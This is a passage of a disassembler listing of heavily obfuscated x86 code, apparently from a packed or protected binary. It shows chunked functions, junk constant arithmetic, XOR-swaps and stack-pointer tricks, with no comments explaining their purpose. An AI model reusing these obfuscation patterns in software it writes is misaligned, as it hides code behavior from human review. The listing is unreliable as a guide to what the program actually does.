ebx, 0E8936467h mov esi, ebx pop ebx add esi, 214D1A6Dh jmp loc_5A8085 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A4229: ; CODE XREF: sub_59D6B8+8BBAj push edx push 2D332446h push [esp+14h+var_14] pop edx push ebp mov ebp, esp add ebp, 4 jmp loc_5AC250 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4A0 loc_5A4241: ; CODE XREF: sub_59B4A0+8AE2j xor esi, 0A099B09Fh sub eax, esi pop esi pop esi pop edi sub esp, 4 mov [esp+8+var_8], ebx mov ebx, 4 sub eax, ebx pop ebx jmp loc_5AC85F ; END OF FUNCTION CHUNK FOR sub_59B4A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A425F: ; CODE XREF: sub_5A118F-22D1j push edx mov dh, 2Ch mov bl, dh pop edx jmp loc_5A1718 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A426A: ; CODE XREF: sub_5AA810-33Dj xor [esp+0], edx xor edx, [esp+0] mov esp, [esp+0] add ecx, 1C40856h add ecx, 45AB768Bh jnb loc_59E31B push 390Ch jmp loc_5995A1 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- loc_5A428F: ; CODE XREF: sdfs____:005AA4ACj mov [esp], edx jmp loc_5A1925 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5A4297: ; CODE XREF: sub_5A3992+34FEj add eax, 4 push 5F19h mov [esp+10h+var_10], eax push [esp+10h+var_C] pop eax pop [esp+10h+var_10] pop esp add ebx, 201A02C9h add ebx, ebp jmp loc_5A1375 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A42BA: ; CODE XREF: sub_5AA2D1+3534j add edx, 4 xchg edx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] add esp, 4 add edi, 4 push esi mov esi, 2 push ebx jmp loc_5A6235 ; --------------------------------------------------------------------------- loc_5A42DB: ; CODE XREF: sub_5A81C4-A85Aj ; sub_5AA2D1-96FEj push 4FC0h mov [esp-28h+arg_24], ecx jmp loc_59F93C ; --------------------------------------------------------------------------- loc_5A42E8: ; CODE XREF: sub_5AA2D1-E784j push [esp-4+arg_0] pop esi push ebx mov ebx, esp jmp loc_5B02E3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A42F4: ; CODE XREF: sub_5992DA+5B45j mov ch, al pop eax push dword ptr [esp+0] mov edx, [esp+4+var_6+2] jmp loc_5AF155 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4302: ; CODE XREF: sub_5AA2D1+580Dj pop eax xor ebx, [esp-4+arg_0] xor [esp-4+arg_0], ebx xor ebx, [esp-4+arg_0] jmp loc_5A5C2C ; --------------------------------------------------------------------------- loc_5A4311: ; CODE XREF: sub_5AA2D1+344Dj mov ebx, edx jmp loc_5A26F4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A4318: ; CODE XREF: sub_5ADD33-964Dj xchg edx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] jmp loc_5A6397 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A432C: ; CODE XREF: sub_5A503A:loc_5A21DCj not edi or edi, 3FA070FDh sub edi, 347DB662h jmp loc_5AC9F5 ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A433F: ; CODE XREF: sub_5A477C-90FEj xor edx, ecx pop ecx add edi, edx push [esp-0Ch+arg_8] mov edx, [esp-8+arg_4] add esp, 4 add esp, 4 add edi, 4 xchg edi, [esp-10h+arg_C] pop esp push esi push esp pop esi add esi, 4 add esi, 4 xor esi, [esp-10h+arg_C] xor [esp-10h+arg_C], esi xor esi, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] jmp loc_5A70B9 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A437A: ; CODE XREF: sub_5A9D64+1EA5j push edi mov edi, 328774D6h jmp loc_59B11A ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4385: ; CODE XREF: sub_5AA2D1-3E0Dj sub edx, esi pop esi add edx, esi push esi mov esi, 135D2CA3h shl esi, 8 dec esi neg esi add esi, 0A42FF149h add edx, esi pop esi add edx, 8A33BFBh mov esi, [esp-8+arg_4] jmp sub_5A0CD9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4A0 loc_5A43AD: ; CODE XREF: sub_59B4A0+Cj mov edi, 4 push ecx mov ecx, 6E195CD5h add eax, 216E039Bh sub eax, ecx push esi mov esi, 216E039Bh sub eax, esi pop esi pop ecx add eax, edi push esi mov esi, 6E195CD5h sub esp, 4 mov [esp+10h+var_10], edx mov edx, 37A6F22h add eax, edx pop edx add eax, 0ACC7D47h add eax, esi sub eax, 0ACC7D47h push 78C2h jmp loc_5AAA38 ; END OF FUNCTION CHUNK FOR sub_59B4A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A43F8: ; CODE XREF: sub_5AF2D9-571j push edx jmp loc_5AE38A ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A43FE: ; CODE XREF: sub_5AA2D1+273Dj add eax, ebx push [esp-8+arg_4] pop ebx add esp, 4 push ebx jmp loc_59A5EF ; --------------------------------------------------------------------------- loc_5A440D: ; CODE XREF: sub_5AA2D1+5C1Dj push edx mov edx, esp jmp loc_59ECF9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5A4415: ; CODE XREF: sub_5AD993+17BDj shr ebx, 3 sub ebx, 0BAB4CF7Eh xor ebp, ebx pop ebx neg ebp push 2269h mov [esp-0Ch+arg_8], ebx mov ebx, 0D1B35BF3h add ebp, 425B52BFh add ebp, ebx push eax mov eax, 425B52BFh sub ebp, eax pop eax pop ebx add eax, 52D50819h add eax, ebp sub eax, 52D50819h pop ebp push ebx push esp pop ebx add ebx, 4 push 16FEh jmp loc_59FF4F ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A4462: ; CODE XREF: sub_5A0FFF+52C0j neg ebp jnz loc_59B96B push edi mov edi, esp push ebx mov ebx, 4E7D1929h pop ebx loc_5A4474: ; CODE XREF: sub_5A695A+3j add ebx, 4 jmp loc_5AE763 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3D5B loc_5A447F: ; CODE XREF: sub_5A3D5B+85j push 0FABh mov [esp+0], eax mov eax, ebx sub esp, 4 mov [esp+4+var_4], eax pop edx pop eax mov ebx, [esp-4+arg_0] add esp, 4 jmp loc_59F46E ; END OF FUNCTION CHUNK FOR sub_5A3D5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A44A2: ; CODE XREF: sdfs____:005A1694j ; sub_59C979+9090j mov edx, [esp+0Eh+var_10+2] add esp, 4 jmp loc_5AD52D ; --------------------------------------------------------------------------- loc_5A44B0: ; CODE XREF: sub_59C979+11785j pop esi jmp loc_59F634 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A44B6: ; CODE XREF: sub_5A6BBC-6D85j ; sub_5AC803-B636j mov edi, [esp+4+var_4] add esp, 4 jmp loc_5AE1E4 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A44C1: ; CODE XREF: sdfs____:0059ED6Cj ; sub_5AA2D1+2F10j add al, 26h push bx mov bh, 9Bh jmp loc_59FE61 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5A44CC: ; CODE XREF: sub_5A16B8+4F00j add ebx, ecx jmp loc_5A5D4A ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A44D3: ; CODE XREF: sub_59F02F+F52j xor [esp+10h+var_10], ebp jmp loc_59B939 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD213 loc_5A44DB: ; CODE XREF: sub_5AD213-2011j pop esi add esi, 4 sub esp, 4 mov [esp+0Ch+var_C], ebx jmp loc_59F73A ; END OF FUNCTION CHUNK FOR sub_5AD213 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A44ED: ; CODE XREF: sub_5AA2D1-20A0j ; sub_59C979+BD7Fj shr edi, 8 push edi push eax pop edi pop eax not eax xchg eax, edi neg edi jmp loc_5A0AC8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A6F loc_5A44FE: ; CODE XREF: sub_599A6F+11967j mov dl, 0B9h jmp sub_5AAFCA ; END OF FUNCTION CHUNK FOR sub_599A6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A4505: ; CODE XREF: sub_5A5EFF-4C6Cj sub ebx, 115A4D7Fh sub ebx, 729512C3h add eax, ebx pop ebx push ecx mov ecx, 61FE1F51h shr ecx, 4 sub ecx, 0FEC2893Dh add eax, ecx pop ecx mov ecx, [esp-4+arg_0] add esp, 4 sub edx, eax jmp loc_59E63A ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A4533: ; CODE XREF: sub_5AA2D1-5D16j ; sub_5A66D6+5BB6j sub [esp-2+arg_4+2], edi pop edi sub [esp-6+arg_4+2], 2CEC107Ch jmp loc_5AB19F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A4545: ; CODE XREF: sub_5A118F+58C9j shl bh, 4 jmp loc_5A319D ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A454D: ; CODE XREF: sub_5992DA+12831j pop ecx push edx mov edx, 381557AFh add [esp+4+arg_0], edx pop edx sub [esp+arg_0], esi sub [esp+arg_0], 381557AFh pop esi jmp loc_5A67C2 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_5A456B: ; CODE XREF: sdfs____:005A9333j mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 jmp loc_5A39F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A577C loc_5A457F: ; CODE XREF: sub_5A577C-482j pop ebp add edi, ebp sub edi, 46153BA1h push dword ptr [esp+0] mov ebp, [esp+4+var_4] push edi mov edi, esp push edx jmp loc_5ADC1E ; END OF FUNCTION CHUNK FOR sub_5A577C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_5A4597: ; CODE XREF: sub_59FB1A+BD18j mov ecx, [esp+0] jmp loc_5A792E ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A809B loc_5A459F: ; CODE XREF: sub_5A809B+13j sub ebp, ebx pop ebx xchg ebp, [esp+0] pop esp jmp loc_5AF19A ; END OF FUNCTION CHUNK FOR sub_5A809B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A45AB: ; CODE XREF: sub_59EE3E:loc_59DAA0j jmp loc_5A3BB4 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A45B0: ; CODE XREF: sub_5AA2D1-7107j shl ebx, 7 jnp loc_5A2059 not ebx jmp loc_5A4533 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- jmp loc_5A6D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A45C5: ; CODE XREF: sub_5AAD97+1j ; sub_59C979+EB2Ej mul ecx jmp sub_59B4A0 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A45CC: ; CODE XREF: sub_5AA2D1-A391j shr edx, 3 inc edx jmp loc_59AED0 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5A45D5: ; CODE XREF: sub_5A3992+7301j jg loc_59DA36 or ebx, 238112A1h jmp loc_59DF1E ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A45E6: ; CODE XREF: sub_5A9EBF-45D3j pop eax push eax xchg ecx, [esp+0] not ecx xchg ecx, [esp+0] pop eax inc eax jg loc_59AF5F sub eax, 1EB6104Bh jo loc_59968F xor eax, 5092D7E4h mov ebp, eax pop eax jmp loc_59D995 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6F9C loc_5A4610: ; CODE XREF: sub_5A6F9C+16j add ecx, 4 push 3810h mov [esp+8+var_8], ecx push [esp+8+var_4] jmp loc_59BFED ; END OF FUNCTION CHUNK FOR sub_5A6F9C ; =============== S U B R O U T I N E ======================================= sub_5A4624 proc near ; CODE XREF: sub_5A2E41:loc_5A8675j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005AFC78 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, 520759B9h xor ebx, eax mov eax, [esp+4+var_4] add esp, 4 mov [edx+30h], ebx mov ebx, [esp+0] add esp, 4 popa jmp loc_5AFC78 sub_5A4624 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFD37 loc_5A464C: ; CODE XREF: sub_5AFD37-12BE7j neg ebx jmp loc_5A30D2 ; END OF FUNCTION CHUNK FOR sub_5AFD37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BE17 loc_5A4653: ; CODE XREF: sub_59BE17+4D9Dj xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], eax mov eax, esp push edx jmp sub_5A6494 ; END OF FUNCTION CHUNK FOR sub_59BE17 ; --------------------------------------------------------------------------- loc_5A4662: ; CODE XREF: sdfs____:0059A368j add edx, 64B2836h jmp loc_59D611 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_5A466D: ; CODE XREF: sub_5A10E3+EEA6j inc edi sub edi, 4138EB11h add ebx, edi pop edi add ebx, edi jmp loc_5A1E80 ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A467E: ; CODE XREF: sub_5AA2D1-8EA8j mov ax, 0FFFFh sub bp, ax pop ax push eax mov ax, 2699h jmp loc_5A8A99 ; --------------------------------------------------------------------------- loc_5A4691: ; CODE XREF: sub_5AA2D1-9FF2j push dword ptr [esp+0] mov ecx, [esp+4+var_4] add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_5A94D9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A46A8: ; CODE XREF: sdfs____:005AA9F4j add ecx, esi sub esp, 4 jmp loc_5A7CA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5A46B2: ; CODE XREF: sub_5AD6D4-12593j mov esp, [esp+4+var_4] imul cx push ecx mov ecx, esp add ecx, 4 push eax jmp loc_5ABC0E ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_5A46C7: ; CODE XREF: sub_5A5B27+1Dj push eax mov eax, 7ABC5D5Bh not eax jmp loc_5AB467 ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A46D4: ; CODE XREF: sub_5ADD33+109Aj mov ebp, [esp+8+var_8] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5A4318 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- loc_5A46EB: ; CODE XREF: sdfs____:005AD77Dj add esp, 2 sub al, 53h push ecx jmp loc_5A1A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_5A46F9: ; CODE XREF: sub_59FE51+604Cj push edx mov edx, 4 jmp loc_5A3B68 ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_5A4704: ; CODE XREF: sub_5AD84A-119Fj sub ecx, 74331501h push ebx mov ebx, 3FE45677h or ebx, 285475CEh jmp loc_5AE60B ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_5A471B: ; CODE XREF: sub_599117+F703j inc edi add edi, 35CE4DA6h add edi, 5632AE18h sub ebx, 5EB14EA1h add ebx, edi jmp loc_5A9A35 ; END OF FUNCTION CHUNK FOR sub_599117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5A4735: ; CODE XREF: sub_5ABEF6+6j and ebp, 68334BC9h jmp loc_5A40C2 ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A4E8 loc_5A4740: ; CODE XREF: sub_59A4E8:loc_59B291j push esi push ebp mov ebp, 0C9D5131h mov esi, ebp jmp loc_59D6DA ; END OF FUNCTION CHUNK FOR sub_59A4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A474E: ; CODE XREF: sub_5A63DC+1CF5j or ebx, ecx pop ecx neg ebx jmp loc_5991EB ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- loc_5A4758: ; CODE XREF: sdfs____:005A59DAj push 8863145h mov ecx, [esp] jmp loc_59F59A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2065 loc_5A4765: ; CODE XREF: sub_5A2065+8j pop ebp jmp loc_5ACC21 ; END OF FUNCTION CHUNK FOR sub_5A2065 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A476B: ; CODE XREF: sub_59D6B8+EB9Bj xchg ebp, [esp+18h+var_18] pop esp inc edx jmp loc_5A6441 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_5A4775: ; CODE XREF: sub_5A600D-97A4j add cl, dl jmp loc_59D216 ; END OF FUNCTION CHUNK FOR sub_5A600D ; =============== S U B R O U T I N E ======================================= sub_5A477C proc near ; CODE XREF: sub_5AC2C0-16AEj var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch ; FUNCTION CHUNK AT 0059920A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005995A1 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059B534 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059B675 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059B701 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059C325 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059C573 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059C767 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059C803 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059C918 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059CB36 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059D52C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059D56B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059D94B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059D9D2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059DAF8 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059E228 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059E496 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059E88F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059EB9E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0059EEC3 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0059EFFA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059F16C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059F64B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059F67F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059F6CA SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A00A9 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A047A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A0AD3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A134B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A1BB6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A1EB5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A245B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A2656 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005A2794 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A2BDD SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A2C97 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A4075 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A4207 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A433F SIZE 0000003B BYTES ; FUNCTION CHUNK AT 005A4857 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A4A05 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A4DF6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A5155 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A590A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A5B09 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A64C9 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A6718 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005A6A7E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A6F79 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A70B9 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 005A77AC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A7A01 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A7A3C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A7A5E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A7D81 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A8085 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A894C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AA6EA SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AB9CB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005ABA4B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005ABA87 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005ABE89 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AC1F4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AD458 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005AD4F9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AD7AA SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005AD9C9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AE326 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AE507 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AEBD7 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005AED3B SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005AF3E5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005B0006 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005B0145 SIZE 0000000D BYTES push ebx mov edx, [esp-10h+arg_C] add esp, 4 push [esp-14h+arg_10] pop ebx push esi mov esi, esp jmp loc_59C918 sub_5A477C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A478F: ; CODE XREF: sub_5A2E41+6670j xor edi, 394DFA12h mov edx, edi pop edi mov eax, edx pop edx inc eax shl eax, 5 add eax, 582E62ECh xor eax, 1A5416E8h sub ebp, 0A73642Bh add ebp, eax add ebp, 0A73642Bh pop eax add ebp, 4 xchg ebp, [esp+8+var_8] mov esp, [esp+8+var_8] or ebx, 73E32550h jmp loc_59BA9D ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A47CF: ; CODE XREF: sub_59EE3E+6419j add esp, 4 xor ecx, 520223FFh jmp loc_5A1298 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A06DD loc_5A47E0: ; CODE XREF: sub_5A06DD+4DCBj push [esp+8+var_4] pop ebx pop [esp+8+var_8] mov esp, [esp+4+var_4] mov [esp+0], edi push 0AC5h mov [esp+4+var_4], esp add [esp+4+var_4], 4 mov edi, [esp+4+var_4] add esp, 4 add edi, 4 jmp sub_5AB207 ; END OF FUNCTION CHUNK FOR sub_5A06DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A480B: ; CODE XREF: sub_59D6B8+A2C9j mov edi, [esp+14h+var_14] add esp, 4 push ebp jmp loc_5A811D ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A4817: ; CODE XREF: sub_59A479:loc_59F9BDj jmp loc_5ACA77 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_5A481C: ; CODE XREF: sub_5ABB65-7B4Aj pop esi add esi, 4 jmp loc_5AD972 ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5A4828: ; CODE XREF: sub_5A7BA0-9B57j ; sub_59E94B+DDDDj not ebp not ebp sub ebp, 2A6B1CDCh inc ebp xor ebp, 13B1E2B3h sub edi, ebp jmp loc_5A8499 ; END OF FUNCTION CHUNK FOR sub_59E94B ; =============== S U B R O U T I N E ======================================= sub_5A4840 proc near ; CODE XREF: sub_5AFA26-DF6Fj push ebx mov ebx, 3A183923h sub ebx, 574156E3h add ebx, 33163057h jmp loc_5A90A3 sub_5A4840 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A4857: ; CODE XREF: sub_5A477C+5F74j shl edx, 3 jnz loc_5ABA4B jmp sub_59F2D1 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- pop eax jmp loc_5AD458 ; --------------------------------------------------------------------------- push ebx ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_5A486C: ; CODE XREF: sub_59B2E4+4F05j xor edi, 56CA6EC1h push 2695h mov [esp+10h+var_10], eax mov eax, 5165CA3Ah sub edi, eax jmp loc_5AC72D ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; =============== S U B R O U T I N E ======================================= sub_5A4886 proc near ; CODE XREF: sub_599117+10929j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059B1DD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059BC9F SIZE 